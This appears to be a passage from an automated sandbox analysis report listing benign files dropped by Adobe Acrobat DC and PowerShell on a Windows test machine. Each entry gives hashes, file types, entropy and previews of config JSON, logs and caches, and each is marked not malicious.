SHA-256:	3E0E182CC0F30AFBE85762D175DF678C929E43B190EA14FA59873192EACD196C
SHA-512:	64557DF23B451C528D7D2790028DC2D3C9AA69E1D9C31E1E0085DEBF859F946EFDFAC1F27DD3391DC0A58F7585D4082D41712CEA01AD8C8F68575AF1E1A1D309
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.652637683082892
Encrypted:	false
SSDEEP:	24:Yv6Xz6iuYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB1:Yv6HBgkDMUJUAh8cvMB1
MD5:	32D2164D1A4C58775A3D32E8D73AA984
SHA1:	AA28F7890E323E2DA22EF339F59C501BFB8CAC32
SHA-256:	F07FF0241B487725F48BAB90A789B24FB3A73675B35947D57E890586B0EE4BDC
SHA-512:	5E621D4C6886AA310822CCD2A24E9E2B1E4085E0E38C5A0527E14E4C02924E21BDA4C207B1F48A478D06AB705AAB1BAD6258EB70982B10C448F0556DA42EB626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2117074023490435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfshHHrPeUkwRe9:YvXKXES5YpW7unGUUUkee9
MD5:	122886492B3392381131C4DFE44C979C
SHA1:	087DAA765791774D3D0AB1FA315436BEE422876F
SHA-256:	0D046F31E4483822B1B675A62E7D551B3C7C553970183E5274646A5CFE07EE75
SHA-512:	D56C89518F8CE2088FB9B48E687C4CB53F0C349E415987B350660658D91D7747FF78EA8E804752EBE4B6A9EA1D2155972BB668DE632EE31BFA7B5334B9254A7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.228866500412116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJTqgFCrPeUkwRe9:YvXKXES5YpW7unGTq16Ukee9
MD5:	CD03286234C84FAB14FE91A00C2F0251
SHA1:	E7C501F692A04D105D479E8EBEE5314B51367AAD
SHA-256:	2DF41B29F5637CCC0BF8B55155B75D4AB4399C8092F730911A5708BAFBBD0916
SHA-512:	BB07FFA99AEA64F111491ADAF70C8E6998367F7B5CDDFC327517A485D431E093153E319EDC4911FD58172CA5F1FF4818323F2B17AE062BEA1DF00AF0E4B015A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141188166537986
Encrypted:	false
SSDEEP:	24:Y/4lWaLIMPaya5Z7N3IqVlrK2E/Qnajvj0SuO5vMAO2N02LSgCC1chLa1zt5xi9n:Y3MkDN4qzrKjQ875dMPi0ubchL0JW9X3
MD5:	A993AC98281D7AD431B029AC7B55896E
SHA1:	81B411D8982FC947DEF0E39C742217FBA4534855
SHA-256:	AEEDC47881485327A9036453BA47B5D0A8A9E147493ED2C0EA19B92294A50E1A
SHA-512:	6445B6013D6D17909400C28243D0C4F38C86E920AB65292A59AF41D5000ABA1826DCFD154909A3F890DFEE5882B7506CF9BC6C2CBD6C5E8381039D1AE99B7C51
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fb85b40ded27ddba88b2d19bb2cf3cad","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532288000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a3fab6f79a3b0b654718f4f03cd14247","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532288000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0ee6404a519438eb7d29487c1596cca0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532288000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c11344ca14d3048c473482d6dfde11ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532288000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3d69151be066f17630912099cd9a6af9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532288000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"66082df84082c3eb8269681107d1faf4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846537534116697
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spk4zJwtNBwtNbRZ6bRZ4xF:TVl2GL7ms6ggOVpPzutYtp6PO
MD5:	AAD6E7CA3F1C0C9E902F67DE8608E47F
SHA1:	6A8DA3547A8E660B028F30575B6E6F8C80BD0F8C
SHA-256:	524B7985F73C2B4EA1978B1D09845E2B38D57968ABE6D331D127B9CFA88BB07C
SHA-512:	110E49D48C9CAA9A09EDD5D3F174E8A9303A878BA343553522BC6E811E92B78076C829B984BD866DB9CDE8BB1E56032FC2CD0C6A2D157808E754A9070005849E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3354480554087775
Encrypted:	false
SSDEEP:	24:7+tNAD1RZKHs/Ds/SpkPzJwtNBwtNbRZ6bRZWf1RZKAqLBx/XYKQvGJF7ursA:7MNGgOVp4zutYtp6PMBqll2GL7msA
MD5:	E17186668D0A374CEA4BF4C4817882F7
SHA1:	7C67DB910299648219D7C5B04F10EABD56A75A09
SHA-256:	E975C4CD3FE947DED0A2E866C3BE7BEAC2AAA5A23FB1FA4A4990ABEC687C6B5B
SHA-512:	8BDBFCBA715E466A7A8A2447F1BF954208ECADB8AE99C06B8E34C636938B636C8F2395244264DF0A6F89FA6F4C36047C76F848A2D2CF69727FD7EBEEB297C786
Malicious:	false
Preview:	.... .c.......c.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzHRGqECXMcSnuggjSnf8rbF9PYyu:6a6TZ44ADEzHIqEUpSDUPF5K
MD5:	7EF8957223BEB69870C9D86C71C458C7
SHA1:	2CEF30B08E1D9C6D78BB4FC28F13BF08FC1774CC
SHA-256:	720DD7EAD51CBC41BEF42053D9155C156178D5CEDE1FBF911BF1DC9E01EFE2D0
SHA-512:	7D6CCFF3FE5D79DC32984AC3D195317762427D57CFAB5D4F8728F6A06D9F182E6E9481480A49C8B52A10827CFB0703A703656ED60EB907E9B558D365A0B01C10
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIae670.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEpw:Qw946cPbiOxDlbYnuRK+bDa
MD5:	CFEF51974C1EBBC65BC08BA4E92C54AA
SHA1:	FA03DAA3FC2CDC81622F0FB74EA5DCA84D6AB1CD
SHA-256:	68739634FC43CFBE9983756DC2C64E206CDA379EA653055E8198CB07345575CC
SHA-512:	609819C294CFEFF8BCE4122643371CB34FBB21881078BA5AF7557BF7A2DC4B6370EFA4C4374C5C6EC2291810DD13E38312F1933C107C24E78AE9579A7CA3797F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.4.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swdico2a.ou4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5bsjz4p.irx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-04-41-995.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346428735253321
Encrypted:	false
SSDEEP:	384:IFRYZV0GQjgApbvBna8FkboerEaHihRnYvsSwYyimnUWYRtOIZK4gFglYPUY3AYC:DMG
MD5:	5666C9BEC28461EC09BB99D145557B02
SHA1:	5B5050BB930BD2E174D0B544CFB4574EAF1AC78D
SHA-256:	B6205587E14522D0ECFD950D30E10F635DD9090E2229863D400B00CEF7CBBD6B
SHA-512:	A60E136445652E6C4589154B202F7545F6A2DA81C33287B5D568045ECE78FD3F253077774D3ECB96056BECA21957FCE181F285B5BE1D60E35C2B453C138FAAAF
Malicious:	false
Preview:	SessionID=d4f6f34e-5ab8-4940-80cc-a1e30f636567.1736532282026 Timestamp=2025-01-10T13:04:42:026-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d4f6f34e-5ab8-4940-80cc-a1e30f636567.1736532282026 Timestamp=2025-01-10T13:04:42:027-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d4f6f34e-5ab8-4940-80cc-a1e30f636567.1736532282026 Timestamp=2025-01-10T13:04:42:027-0500 ThreadID=7880 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d4f6f34e-5ab8-4940-80cc-a1e30f636567.1736532282026 Timestamp=2025-01-10T13:04:42:027-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d4f6f34e-5ab8-4940-80cc-a1e30f636567.1736532282026 Timestamp=2025-01-10T13:04:42:027-0500 ThreadID=7880 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388703749199169
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb3:LX
MD5:	BC7D597EC3E1B0210B3297DA733D2AA7
SHA1:	954BACCF39362A8D674A6640090CBCB659DA7C45
SHA-256:	990A6604D0306A5E64DA892C86535F833B463D24F86BF403D89EFE261C965102
SHA-512:	2412BE2A8E11D42AFF09410DC4B859D164DE763974EC60E8736B10F06A2F76540AEFA18EE3F02CDF5732B61560BEC761DAE6C6C4BA4BC144BA881C696BA3D73B
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\52382ed2-a280-4f72-95a6-8f0a9efb73e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e62fa5d0-59f4-44e4-8170-d0eebe04b6fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\eec6d43c-583d-42e4-845d-cf34bbb52812.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xUwYIGNPgOWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JUwZGDWLxXGZN3mlind9i4ufFXpAXkru
MD5:	F728F25FA685BA9D68D8EEFC68A24715
SHA1:	39AE9162F9E03A502895DC63E3EDD96F81994A6C
SHA-256:	A3E32482CF5E9E65D420AD918915A330845A6F58DFD68BC25D3E89B669172FF5
SHA-512:	55B6776367EE6700B2259F32DE1D47F5809E7A0868F8D5CF2B6C30C25F8F9C800CCADDDB2A9227B9E95E1EA0A678156828D966465A98D3321A2D056A0285698D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f477189d-a5e0-47aa-b98f-38f86b64ee5e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
